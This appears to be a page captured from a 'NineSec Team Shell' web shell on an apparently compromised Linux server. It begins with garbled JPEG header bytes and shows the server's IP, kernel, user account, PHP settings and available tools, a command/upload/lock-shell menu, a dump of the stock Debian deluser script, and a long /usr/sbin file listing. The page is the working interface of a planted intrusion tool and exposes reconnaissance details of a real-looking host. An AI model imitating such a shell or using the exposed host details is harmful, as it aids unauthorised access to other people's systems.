�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /usr/sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/sbin/deluser
#!/usr/bin/perl

# deluser -- a utility to remove users from the system
# delgroup -- a utilty to remove groups from the system
my $version = "3.118ubuntu2";

# Copyright (C) 2000 Roland Bauerschmidt <rb@debian.org>
# Based on 'adduser' as pattern by
#     Guy Maor <maor@debian.org>
#     Ted Hajek <tedhajek@boombox.micro.umn.edu>
#     Ian A. Murdock <imurdock@gnu.ai.mit.edu>

# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

####################
# See the usage subroutine for explanation about how the program can be called
####################

use warnings;
use strict;
use Getopt::Long;
use Debian::AdduserCommon;

my $install_more_packages ;

BEGIN {
    local $ENV{PERL_DL_NONLAZY}=1;
    eval 'use File::Find';
    if ($@) {
      $install_more_packages = 1;
    }
    #no warnings "File::Find";
    eval 'use File::Temp';
    if ($@) {
      $install_more_packages = 1;
    }
}


BEGIN {
    eval 'use Locale::gettext';
    if ($@) {
        *gettext = sub { shift };
        *textdomain = sub { "" };
        *LC_MESSAGES = sub { 5 };
    }
    eval {
        require POSIX;
        import POSIX qw(setlocale);
    };
    if ($@) {
        *setlocale = sub { return 1 };
    }
}

setlocale(LC_MESSAGES, "");
textdomain("adduser");

my $action = $0 =~ /delgroup$/ ? "delgroup" : "deluser";
our $verbose = 1;
my %pconfig = ();
my %config = ();
my $configfile;
my @defaults;
my $force;


unless ( GetOptions ("quiet|q" => sub {$verbose = 0; },
            "debug" => sub {$verbose = 2; },
	    "version|v" => sub { &version(); exit 0; },
	    "help|h" => sub { &usage(); exit 0;},
	    "group" => sub { $action = "delgroup";},
	    "conf=s" => \$configfile,
	    "system" => \$pconfig{"system"},
	    "only-if-empty" => \$pconfig{"only_if_empty"},
	    "remove-home" => \$pconfig{"remove_home"},
	    "remove-all-files" => \$pconfig{"remove_all_files"},
	    "backup" => \$pconfig{"backup"},
	    "backup-to=s" => \$pconfig{"backup_to"},
            "force" => \$force
       ) ) {
    &usage;
    exit 1;
}

# everyone can issue "--help" and "--version", but only root can go on
dief (gtx("Only root may remove a user or group from the system.\n")) if ($> != 0);

if (!defined($configfile)) { 
    @defaults = ("/etc/adduser.conf", "/etc/deluser.conf");
} else {
    @defaults = ($configfile);
}

# explicitly set PATH, because super (1) cleans up the path and makes deluser unusable;
# this is also a good idea for sudo (which doesn't clean up)
$ENV{"PATH"}="/bin:/usr/bin:/sbin:/usr/sbin";

my @names = ();
my ($user,$group);

######################
# handling of @names #
######################

while (defined(my $arg = shift(@ARGV))) {
  if (defined($names[0]) && $arg =~ /^--/) {
      dief (gtx("No options allowed after names.\n"));
    } else {			# it's a username
	push (@names, $arg);
    }
}

if(@names == 0) {
    if($action eq "delgroup") {
	print (gtx("Enter a group name to remove: "));
    } else {
	print (gtx("Enter a user name to remove: "));
    }
    chomp(my $answer=<STDIN>);
    push(@names, $answer);
}

if (length($names[0]) == 0 || @names > 2) {
    dief (gtx("Only one or two names allowed.\n"));
}

if(@names == 2) {      # must be deluserfromgroup
    $action = "deluserfromgroup";
    $user = shift(@names);
    $group = shift(@names);
} else {
    if($action eq "delgroup") {
	$group = shift(@names);
    } else {
	$user = shift(@names);
    }
}

undef(@names);


##########################################################
# (1) preseed the config
# (2) read the default /etc/adduser.conf configuration.
# (3) read the default /etc/deluser.conf configuration.
# (4) process commmand line settings
# last match wins
##########################################################

preseed_config (\@defaults,\%config);

foreach(keys(%pconfig)) {
    $config{$_} = $pconfig{$_} if ($pconfig{$_});
}

if (($config{remove_home} || $config{remove_all_files} || $config{backup}) && ($install_more_packages)) {
    fail (8, gtx("In order to use the --remove-home, --remove-all-files, and --backup features,
you need to install the `perl' package. To accomplish that, run
apt-get install perl.\n"));
}

 
my ($pw_uid, $pw_gid, $pw_homedir, $gr_gid, $maingroup);

if(defined($user)) {
    my @passwd = getpwnam($user);
    $pw_uid = $passwd[2];
    $pw_gid = $passwd[3];
    $pw_homedir = $passwd[7];
    
    $maingroup = $pw_gid ? getgrgid($pw_gid) : "";
}
if(defined($group)) {
    #($gr_name,$gr_passwd,$gr_gid,$gr_members) = getgrnam($group);
    my @group = getgrnam($group);
    $gr_gid = $group[2];
}

# arguments are processed:
#
#  $action = "deluser"
#     $user          name of the user to remove
#
#  $action = "delgroup"
#     $group         name of the group to remove
#
#  $action = "deluserfromgroup"
#     $user          the user to be remove
#     $group         the group to remove him/her from


if($action eq "deluser") {
    &invalidate_nscd();
    
    my($dummy1,$dummy2,$uid);



    # Don't allow a non-system user to be deleted when --system is given
    # Also, "user does not exist" is only a warning with --system, but an
    # error without --system.
    if( $config{"system"} ) {
	if( ($dummy1,$dummy2,$uid) = getpwnam($user) ) {
	    if ( ($uid < $config{"first_system_uid"} ||
		$uid > $config{"last_system_uid" } ) ) {
		printf (gtx("The user `%s' is not a system user. Exiting.\n"), $user) if $verbose;
		exit 1;
	    }
        } else {
	    printf (gtx("The user `%s' does not exist, but --system was given. Exiting.\n"), $user) if $verbose;
	    exit 0;
	}
    }
    
    unless(exist_user($user)) {
	fail (2,gtx("The user `%s' does not exist.\n"),$user);
    }
    
    # Warn in any case if you want to remove the root account 
    if ((defined($pw_uid)) && ($pw_uid == 0) && (!defined($force)))  {
        printf (gtx("WARNING: You are just about to delete the root account (uid 0)\n"));
        printf (gtx("Usually this is never required as it may render the whole system unusable\n"));
        printf (gtx("If you really want this, call deluser with parameter --force\n"));
        printf (gtx("Stopping now without having performed any action\n"));
        exit 9;
    }

    # consistency check
    # if --backup-to is specified, --backup should be set too
    if ($pconfig{"backup_to"}) {
        $config{"backup"} = 1;
    }

    if($config{"remove_home"} || $config{"remove_all_files"}) {
      s_print (gtx("Looking for files to backup/remove ...\n"));
      my @mountpoints;
      open(MOUNT, "mount |")
	      || fail (4 ,gtx("fork for `mount' to parse mount points failed: %s\n", $!));
      while (<MOUNT>) {
	      my @temparray = split;
	      my $fstype = $temparray[4];
	      my $exclude_fstypes = $config{"exclude_fstypes"};
	      if (defined($exclude_fstypes)) {
	      	next if ($fstype =~ /$exclude_fstypes/);
	      }
	      push @mountpoints,$temparray[2];
      }
      close(MOUNT) or dief (gtx("pipe of command `mount' could not be closed: %s\n",$!));
      my(@files,@dirs);
      if($config{"remove_home"} && ! $config{"remove_all_files"}) {

        # collect all files in user home
	sub home_match {
	  # according to the manpage
	  foreach my $mount (@mountpoints) {
	    if( $File::Find::name eq $mount ) {
	      s_printf (gtx("Not backing up/removing `%s', it is a mount point.\n"),$File::Find::name);
	      $File::Find::prune=1;
	      return;
	    }
	  }
	  foreach my $re ( split ' ', $config{"no_del_paths"} ) {
	    if( $File::Find::name =~ qr/$re/ ) {
	      s_printf (gtx("Not backing up/removing `%s', it matches %s.\n"),$File::Find::name,$re);
	      $File::Find::prune=1;
	      return;
	    }
	  }

	  push(@files, $File::Find::name) 
	    if(-f $File::Find::name || -l $File::Find::name);
	  push(@dirs, $File::Find::name)
	    if(-d $File::Find::name);
	} # sub home_match

	# collect ecryptfs config files not stored in $HOME
	sub ecryptfs_match {
	  if ( $File::Find::name !~ m[^/var/lib/ecryptfs/\Q$user] &&  $File::Find::name !~ m[^/home/\.ecryptfs/\Q$user]) {
	    $File::Find::prune=1;
	    return;
	  }
	  push(@files, $File::Find::name)
	    if(-f $File::Find::name || -l $File::Find::name);
	  push(@dirs, $File::Find::name)
	    if(-d $File::Find::name);
	} # sub ecryptfs_match

	File::Find::find({wanted => \&home_match, untaint => 1, no_chdir => 1}, $pw_homedir)
	  if(-d "$pw_homedir");
	if(-d "/var/lib/ecryptfs/$user") {
	  File::Find::find({wanted => \&ecryptfs_match, untaint => 1, no_chdir => 1}, "/var/lib/ecryptfs/$user");
	} elsif (-d "/home/.ecryptfs/$user") {
	  File::Find::find({wanted => \&ecryptfs_match, untaint => 1, no_chdir => 1}, "/home/.ecryptfs/$user");
	}
	push(@files, "/var/mail/$user")
	  if(-e "/var/mail/$user");
      } else {

        # collect all files on system belonging to that user
	sub find_match {
	  my ($dev,$ino,$mode,$nlink,$uid,$gid);
	  (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &&
	    ($uid == $pw_uid) &&
	      (
		($File::Find::name =~ /^\/proc\// && ($File::Find::prune = 1)) ||
		(-f $File::Find::name && push(@files, $File::Find::name)) ||
                (-l $File::Find::name && push(@files, $File::Find::name)) ||
		(-d $File::Find::name && push(@dirs, $File::Find::name)) ||
                (-S $File::Find::name && push(@dirs, $File::Find::name)) || 
                (-p $File::Find::name && push(@dirs, $File::Find::name))
	      );
              if ( -b $File::Find::name || -c $File::Find::name ) {
               warnf (gtx("Cannot handle special file %s\n"),$File::Find::name);
              }
	} # sub find_match
	
	File::Find::find({wanted => \&find_match, untaint => 1, no_chdir => 1}, '/');
      }

      if($config{"backup"}) {
	 s_printf (gtx("Backing up files to be removed to %s ...\n"),$config{"backup_to"});
	 my $filesfile = new File::Temp(TEMPLATE=>"deluser.XXXXX", DIR=>"/tmp");
	 my $filesfilename = $filesfile->filename;
	 my $backup_name = $config{"backup_to"} . "/$user.tar";
	 print "backup_name = $backup_name\n";
	 print $filesfile join("\n",@files);
	 $filesfile->close();
         my $tar = &which('tar');
         my $bzip2 = &which('bzip2', 1);
         my $gzip = &which('gzip', 1);
         my $options = '';
	 if($bzip2) {
             $backup_name = "$backup_name.bz2";
             $options = "--bzip2";
	 } elsif($gzip) {
             $backup_name = "$backup_name.gz";
             $options = "--gzip";
	 }
	 &systemcall($tar, $options, "-cf", $backup_name, "--files-from", $filesfilename);
	 chmod 0600, $backup_name;
         my $rootid = 0;
	 chown $rootid, $rootid, $backup_name;
	 unlink($filesfilename);
      }

      if(@files || @dirs) {
	  s_print (gtx("Removing files ...\n"));
	  unlink(@files) if(@files);
	  foreach(reverse(sort(@dirs))) {
	      rmdir($_);
	  }
      }
    }

    if (system("crontab -l $user >/dev/null 2>&1") == 0) {
      # crontab -l returns 1 if there is no crontab
      my $crontab = &which('crontab');
      &systemcall($crontab, "-r", $user);
      s_print (gtx("Removing crontab ...\n"));
    }

    s_printf (gtx("Removing user `%s' ...\n"),$user);
    my @members = get_group_members($maingroup);
    if (@members == 0) {
        s_printf (gtx("Warning: group `%s' has no more members.\n"), $maingroup);    
    }
    my $userdel = &which('userdel');
    &systemcall($userdel, $user);
    &invalidate_nscd();

    systemcall('/usr/local/sbin/deluser.local', $user, $pw_uid,
                $pw_gid, $pw_homedir) if (-x "/usr/local/sbin/deluser.local");

    s_print (gtx("Done.\n"));
    exit 0;
}

    
if($action eq "delgroup") {
    &invalidate_nscd();
    unless(exist_group($group)) {
	printf( gtx("The group `%s' does not exist.\n"),$group) if $verbose;
        exit 3;
    }
    my($dummy,$gid,$members);
    if( !(($dummy, $dummy, $gid, $members ) = getgrnam($group)) ) {
	fail (4 ,gtx("getgrnam `%s' failed. This shouldn't happen.\n"), $group);
    }
    if( $config{"system"} && 
	($gid < $config{"first_system_gid"} ||
	 $gid > $config{"last_system_gid" } )) {
        printf (gtx("The group `%s' is not a system group. Exiting.\n"), $group) if $verbose;
	exit 3;
    }
    if( $config{"only_if_empty"} && $members ne "") {
	fail (5, gtx("The group `%s' is not empty!\n"),$group);
    }
    
    setpwent;
    while ((my $acctname,my $primgrp) = (getpwent)[0,3]) {
	if( $primgrp eq $gr_gid ) {
	    fail (7, gtx("`%s' still has `%s' as their primary group!\n"),$acctname,$group);
	}
    }
    endpwent;

    s_printf (gtx("Removing group `%s' ...\n"),$group);
    my $groupdel = &which('groupdel');
    &systemcall($groupdel,$group);
    &invalidate_nscd();
    s_print (gtx("Done.\n"));
    exit 0;
}


if($action eq "deluserfromgroup")
{
    &invalidate_nscd();
    unless(exist_user($user)) {
	fail (2, gtx("The user `%s' does not exist.\n"),$user);
    }
    unless(exist_group($group)) {
	fail (3, gtx("The group `%s' does not exist.\n"),$group);
    }
    if($maingroup eq $group) {
	fail (7, gtx("You may not remove the user from their primary group.\n"));
    }

    my @members = get_group_members($group);
    my $ismember = 0;

    for(my $i = 0; $i <= $#members; $i++) {
	if($members[$i] eq $user) {
	    $ismember = 1;
	    splice(@members,$i,1);
	}
    }

    unless($ismember) {
	fail (6, gtx("The user `%s' is not a member of group `%s'.\n"),$user,$group);
    }

    s_printf (gtx("Removing user `%s' from group `%s' ...\n"),$user,$group);
    #systemcall("usermod","-G", join(",",@groups), $user );
    my $gpasswd = &which('gpasswd');
    &systemcall($gpasswd,'-M', join(',',@members), $group);
    &invalidate_nscd();
    s_print (gtx("Done.\n"));
}


######

sub fail {
  my ($errorcode, $format, @args) = @_;
  printf STDERR "$0: $format",@args;
  exit $errorcode;

}

sub version {
    printf (gtx("deluser version %s\n\n"), $version);
    printf (gtx("Removes users and groups from the system.\n"));
    
    printf gtx("Copyright (C) 2000 Roland Bauerschmidt <roland\@copyleft.de>\n\n");

    printf gtx("deluser is based on adduser by Guy Maor <maor\@debian.org>, Ian Murdock\n".
	  "<imurdock\@gnu.ai.mit.edu> and Ted Hajek <tedhajek\@boombox.micro.umn.edu>\n\n");

    printf gtx("This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or (at
your option) any later version.

This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
General Public License, /usr/share/common-licenses/GPL, for more details.\n");
}

sub usage {
    printf gtx(
"deluser USER
  remove a normal user from the system
  example: deluser mike

  --remove-home             remove the users home directory and mail spool
  --remove-all-files        remove all files owned by user
  --backup                  backup files before removing.
  --backup-to <DIR>         target directory for the backups.
                            Default is the current directory.
  --system                  only remove if system user

delgroup GROUP
deluser --group GROUP
  remove a group from the system
  example: deluser --group students

  --system                  only remove if system group
  --only-if-empty           only remove if no members left

deluser USER GROUP
  remove the user from a group
  example: deluser mike students

general options:
  --quiet | -q      don't give process information to stdout
  --help | -h       usage message
  --version | -v    version number and copyright
  --conf | -c FILE  use FILE as configuration file\n\n");
}

sub exist_user {
    my $exist_user = shift;
    return(defined getpwnam($exist_user));
}

sub exist_group {
    my $exist_group = shift;
    return(defined getgrnam($exist_group));
}

# vim:set ai et sts=4 sw=4 tw=0:

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 29 2022 11:10:06
root
0755
a2disconf
15.895 KB
February 23 2021 5:35:16
root
0755
a2dismod
15.895 KB
February 23 2021 5:35:16
root
0755
a2dissite
15.895 KB
February 23 2021 5:35:16
root
0755
a2enconf
15.895 KB
February 23 2021 5:35:16
root
0755
a2enmod
15.895 KB
February 23 2021 5:35:16
root
0755
a2ensite
15.895 KB
February 23 2021 5:35:16
root
0755
a2query
9.639 KB
October 26 2023 3:54:09
root
0755
accessdb
14.383 KB
February 25 2020 6:13:45
root
0755
add-shell
0.84 KB
December 07 2019 3:13:44
root
0755
addgnupghome
3.003 KB
July 04 2022 6:20:36
root
0755
addgroup
36.899 KB
April 16 2020 4:12:53
root
0755
adduser
36.899 KB
April 16 2020 4:12:53
root
0755
apache2
692.039 KB
October 26 2023 3:54:09
root
0755
apache2ctl
7.06 KB
March 04 2022 11:48:50
root
0755
apachectl
7.06 KB
March 04 2022 11:48:50
root
0755
applygnupgdefaults
2.165 KB
July 04 2022 6:20:36
root
0755
arp
69.297 KB
February 01 2019 7:07:53
root
0755
arpd
78.266 KB
February 13 2020 6:21:59
root
0755
arptables
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-save
215.32 KB
May 09 2023 8:39:57
root
0755
aspell-autobuildhash
13.225 KB
November 15 2018 4:24:46
root
0755
atopacctd
26.047 KB
January 25 2019 5:41:25
root
0755
auth-otp
38.383 KB
February 27 2020 8:34:56
root
0755
avcstat
14.305 KB
February 26 2020 6:10:57
root
0755
biosdecode
27.203 KB
December 23 2019 6:56:41
root
0755
cache_check
1.29 MB
February 08 2020 12:20:35
root
0755
cache_dump
1.29 MB
February 08 2020 12:20:35
root
0755
cache_metadata_size
1.29 MB
February 08 2020 12:20:35
root
0755
cache_repair
1.29 MB
February 08 2020 12:20:35
root
0755
cache_restore
1.29 MB
February 08 2020 12:20:35
root
0755
cache_writeback
1.29 MB
February 08 2020 12:20:35
root
0755
check_forensic
0.93 KB
April 26 2011 5:10:00
root
0755
chgpasswd
66.203 KB
November 29 2022 12:53:10
root
0755
chmem
62.227 KB
May 30 2023 5:42:35
root
0755
chpasswd
58.203 KB
November 29 2022 12:53:10
root
0755
chroot
42.336 KB
September 05 2019 12:38:40
root
0755
compute_av
14.305 KB
February 26 2020 6:10:57
root
0755
compute_create
14.305 KB
February 26 2020 6:10:57
root
0755
compute_member
14.305 KB
February 26 2020 6:10:57
root
0755
compute_relabel
14.305 KB
February 26 2020 6:10:57
root
0755
compute_user
14.305 KB
February 26 2020 6:10:57
root
0755
convertquota
78.719 KB
April 09 2019 10:12:04
root
0755
cpgr
60.336 KB
November 29 2022 12:53:10
root
0755
cppw
60.336 KB
November 29 2022 12:53:10
root
0755
cron
54.633 KB
February 13 2020 9:44:42
root
0755
ddns-confgen
26.297 KB
September 19 2023 1:22:19
root
0755
delgroup
16.108 KB
April 16 2020 4:12:53
root
0755
deluser
16.108 KB
April 16 2020 4:12:53
root
0755
dmidecode
119 KB
December 23 2019 6:56:41
root
0755
dnssec-cds
46.391 KB
September 19 2023 1:22:19
root
0755
dnssec-checkds
0.901 KB
September 19 2023 1:22:19
root
0755
dnssec-coverage
0.903 KB
September 19 2023 1:22:19
root
0755
dnssec-dsfromkey
38.383 KB
September 19 2023 1:22:19
root
0755
dnssec-importkey
34.383 KB
September 19 2023 1:22:19
root
0755
dnssec-keyfromlabel
38.383 KB
September 19 2023 1:22:19
root
0755
dnssec-keygen
46.383 KB
September 19 2023 1:22:19
root
0755
dnssec-keymgr
0.899 KB
September 19 2023 1:22:19
root
0755
dnssec-revoke
30.383 KB
September 19 2023 1:22:19
root
0755
dnssec-settime
42.383 KB
September 19 2023 1:22:19
root
0755
dnssec-signzone
94.414 KB
September 19 2023 1:22:19
root
0755
dnssec-verify
30.391 KB
September 19 2023 1:22:19
root
0755
dovecot
98.398 KB
July 07 2022 7:17:38
root
0755
dpkg-preconfigure
3.577 KB
August 03 2019 12:51:13
root
0755
dpkg-reconfigure
4.344 KB
August 03 2019 12:51:13
root
0755
e2freefrag
18.375 KB
June 02 2022 2:59:32
root
0755
e4crypt
30.375 KB
June 02 2022 2:59:32
root
0755
e4defrag
34.305 KB
June 02 2022 2:59:32
root
0755
ebtables
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-save
215.32 KB
May 09 2023 8:39:57
root
0755
edquota
87.188 KB
April 09 2019 10:12:04
root
0755
era_check
1.29 MB
February 08 2020 12:20:35
root
0755
era_dump
1.29 MB
February 08 2020 12:20:35
root
0755
era_invalidate
1.29 MB
February 08 2020 12:20:35
root
0755
era_restore
1.29 MB
February 08 2020 12:20:35
root
0755
faillock
14.148 KB
January 10 2024 2:55:08
root
0755
fdformat
34.227 KB
May 30 2023 5:42:35
root
0755
filefrag
18.328 KB
June 02 2022 2:59:32
root
0755
firewalld
6.863 KB
April 04 2020 7:50:39
root
0755
ftpasswd
34.669 KB
February 27 2020 8:34:56
root
0755
ftpquota
32.201 KB
February 27 2020 8:34:56
root
0755
ftpscrub
23.445 KB
February 27 2020 8:34:56
root
0755
ftpshut
14.148 KB
February 27 2020 8:34:56
root
0755
ftpstats
12.154 KB
February 27 2020 8:34:56
root
0755
genl
82.289 KB
February 13 2020 6:21:59
root
0755
getconlist
14.305 KB
February 26 2020 6:10:57
root
0755
getdefaultcon
14.305 KB
February 26 2020 6:10:57
root
0755
getenforce
14.305 KB
February 26 2020 6:10:57
root
0755
getfilecon
14.305 KB
February 26 2020 6:10:57
root
0755
getpidcon
14.305 KB
February 26 2020 6:10:57
root
0755
getsebool
14.305 KB
February 26 2020 6:10:57
root
0755
getseuser
14.305 KB
February 26 2020 6:10:57
root
0755
groupadd
90.953 KB
November 29 2022 12:53:10
root
0755
groupdel
86.766 KB
November 29 2022 12:53:10
root
0755
groupmems
62.242 KB
November 29 2022 12:53:10
root
0755
groupmod
94.859 KB
November 29 2022 12:53:10
root
0755
grpck
62.18 KB
November 29 2022 12:53:10
root
0755
grpconv
58.055 KB
November 29 2022 12:53:10
root
0755
grpunconv
58.055 KB
November 29 2022 12:53:10
root
0755
httxt2dbm
14.148 KB
October 26 2023 3:54:09
root
0755
iconvconfig
30.398 KB
November 22 2023 2:32:50
root
0755
in.proftpd
1.02 MB
February 27 2020 8:34:56
root
0755
invoke-rc.d
16.643 KB
June 21 2019 8:56:55
root
0755
iotop
0.484 KB
June 19 2023 3:39:59
root
0755
ip6tables
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-apply
6.892 KB
May 09 2023 8:39:57
root
0755
ip6tables-legacy
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-legacy-restore
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-legacy-save
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-restore-translate
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-save
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-translate
215.32 KB
May 09 2023 8:39:57
root
0755
iptables
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-apply
6.892 KB
May 09 2023 8:39:57
root
0755
iptables-legacy
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-legacy-restore
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-legacy-save
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-restore-translate
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-save
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-translate
215.32 KB
May 09 2023 8:39:57
root
0755
irqbalance
62.922 KB
February 13 2020 8:39:57
root
0755
irqbalance-ui
34.375 KB
February 13 2020 8:39:57
root
0755
isadump
14.305 KB
March 31 2022 10:52:36
root
0755
isaset
14.305 KB
March 31 2022 10:52:36
root
0755
ispell-autobuildhash
15.388 KB
November 15 2018 4:24:46
root
0755
jk_check
11.186 KB
November 11 2019 5:23:32
root
0755
jk_chrootlaunch
22.563 KB
November 11 2019 5:23:32
root
0755
jk_chrootsh
34.297 KB
November 11 2019 5:23:32
root
4755
jk_cp
4.111 KB
November 11 2019 5:23:32
root
0755
jk_init
9.67 KB
November 11 2019 5:23:32
root
0755
jk_jailuser
11.764 KB
November 11 2019 5:23:32
root
0755
jk_list
4.55 KB
November 11 2019 5:23:32
root
0755
jk_lsh
26.297 KB
November 11 2019 5:23:32
root
0755
jk_socketd
30.594 KB
November 11 2019 5:23:32
root
0755
jk_update
9.096 KB
November 11 2019 5:23:32
root
0755
ldattach
34.227 KB
May 30 2023 5:42:35
root
0755
libgvc6-config-update
14.148 KB
March 02 2020 5:35:25
root
0755
locale-gen
4.296 KB
July 26 2023 9:44:39
root
0755
logrotate
82.086 KB
January 21 2019 11:11:39
root
0755
make-ssl-cert
3.784 KB
April 28 2017 9:58:22
root
0755
matchpathcon
14.305 KB
February 26 2020 6:10:57
root
0755
milter-greylist
244.188 KB
January 24 2020 11:35:02
root
0755
mklost+found
14.305 KB
June 02 2022 2:59:32
root
0755
mysqld
64.15 MB
January 17 2024 9:13:42
root
0755
named
529.469 KB
September 19 2023 1:22:19
root
0755
named-checkconf
38.406 KB
September 19 2023 1:22:19
root
0755
named-checkzone
38.406 KB
September 19 2023 1:22:19
root
0755
named-compilezone
38.406 KB
September 19 2023 1:22:19
root
0755
named-journalprint
14.297 KB
September 19 2023 1:22:19
root
0755
named-nzd2nzf
14.297 KB
September 19 2023 1:22:19
root
0755
netplan
0.779 KB
October 26 2023 3:59:19
root
0755
newusers
98.797 KB
November 29 2022 12:53:10
root
0755
nfnl_osf
18.297 KB
May 09 2023 8:39:57
root
0755
nologin
14.297 KB
November 29 2022 12:53:10
root
0755
nsec3hash
14.305 KB
September 19 2023 1:22:19
root
0755
ntpdate
83.289 KB
November 27 2020 10:10:51
root
0755
ntpdate-debian
0.521 KB
November 27 2020 10:10:51
root
0755
opendkim
250.281 KB
December 31 2019 3:16:22
root
0755
ownership
14.445 KB
December 23 2019 6:56:41
root
0755
pam-auth-update
19.858 KB
September 17 2021 8:05:34
root
0755
pam_getenv
2.822 KB
August 12 2020 2:15:04
root
0755
pam_timestamp_check
14.148 KB
January 10 2024 2:55:08
root
0755
paperconfig
4.072 KB
June 26 2019 12:04:32
root
0755
pdata_tools
1.29 MB
February 08 2020 12:20:35
root
0755
php-fpm5.6
4.36 MB
September 02 2023 9:57:07
root
0755
php-fpm7.4
4.57 MB
September 02 2023 10:03:15
root
0755
php-fpm8.0
4.74 MB
September 02 2023 10:04:32
root
0755
php-fpm8.2
5.41 MB
January 20 2024 3:16:39
root
0755
php-fpm8.3
5.49 MB
January 20 2024 3:16:18
root
0755
phpdismod
7.107 KB
January 09 2024 1:01:46
root
0755
phpenmod
7.107 KB
January 09 2024 1:01:46
root
0755
phpquery
6.239 KB
January 09 2024 1:01:46
root
0755
policy-test
6.033 KB
December 12 2013 11:32:41
root
0755
policyvers
14.305 KB
February 26 2020 6:10:57
root
0755
popcon-largest-unused
0.53 KB
February 14 2020 12:04:46
root
0755
popularity-contest
5.228 KB
February 14 2020 12:04:46
root
0755
postalias
22.148 KB
January 29 2024 9:49:03
root
0755
postcat
22.219 KB
January 29 2024 9:49:03
root
0755
postconf
187.625 KB
January 29 2024 9:49:03
root
0755
postdrop
22.273 KB
January 29 2024 9:49:03
root
2555
postfix
18.227 KB
January 29 2024 9:49:03
root
0755
postfix-add-filter
4.899 KB
January 29 2024 9:49:03
root
0755
postfix-add-policy
3.831 KB
January 29 2024 9:49:03
root
0755
postgrey
38.367 KB
May 09 2019 1:35:38
root
0755
postkick
14.148 KB
January 29 2024 9:49:03
root
0755
postlock
14.148 KB
January 29 2024 9:49:03
root
0755
postlog
14.305 KB
January 29 2024 9:49:03
root
0755
postmap
22.148 KB
January 29 2024 9:49:03
root
0755
postmulti
30.539 KB
January 29 2024 9:49:03
root
0755
postqueue
22.227 KB
January 29 2024 9:49:03
root
2555
postsuper
30.477 KB
January 29 2024 9:49:03
root
0755
posttls-finger
42.234 KB
January 29 2024 9:49:03
root
0755
proftpd
1.02 MB
February 27 2020 8:34:56
root
0755
proftpd-gencert
1.638 KB
February 27 2020 8:30:14
root
0755
pwck
58.172 KB
November 29 2022 12:53:10
root
0755
pwconv
54.047 KB
November 29 2022 12:53:10
root
0755
pwunconv
54.055 KB
November 29 2022 12:53:10
root
0755
qmqp-sink
18.148 KB
January 29 2024 9:49:03
root
0755
qmqp-source
22.164 KB
January 29 2024 9:49:03
root
0755
qshape
12.548 KB
January 29 2024 9:49:03
root
0755
quota_nld
82.781 KB
April 09 2019 10:12:04
root
0755
quotastats
13.992 KB
April 09 2019 10:12:04
root
0755
readprofile
22.258 KB
May 30 2023 5:42:35
root
0755
remove-default-ispell
2.863 KB
November 15 2018 4:24:46
root
0755
remove-default-wordlist
2.862 KB
November 15 2018 4:24:46
root
0755
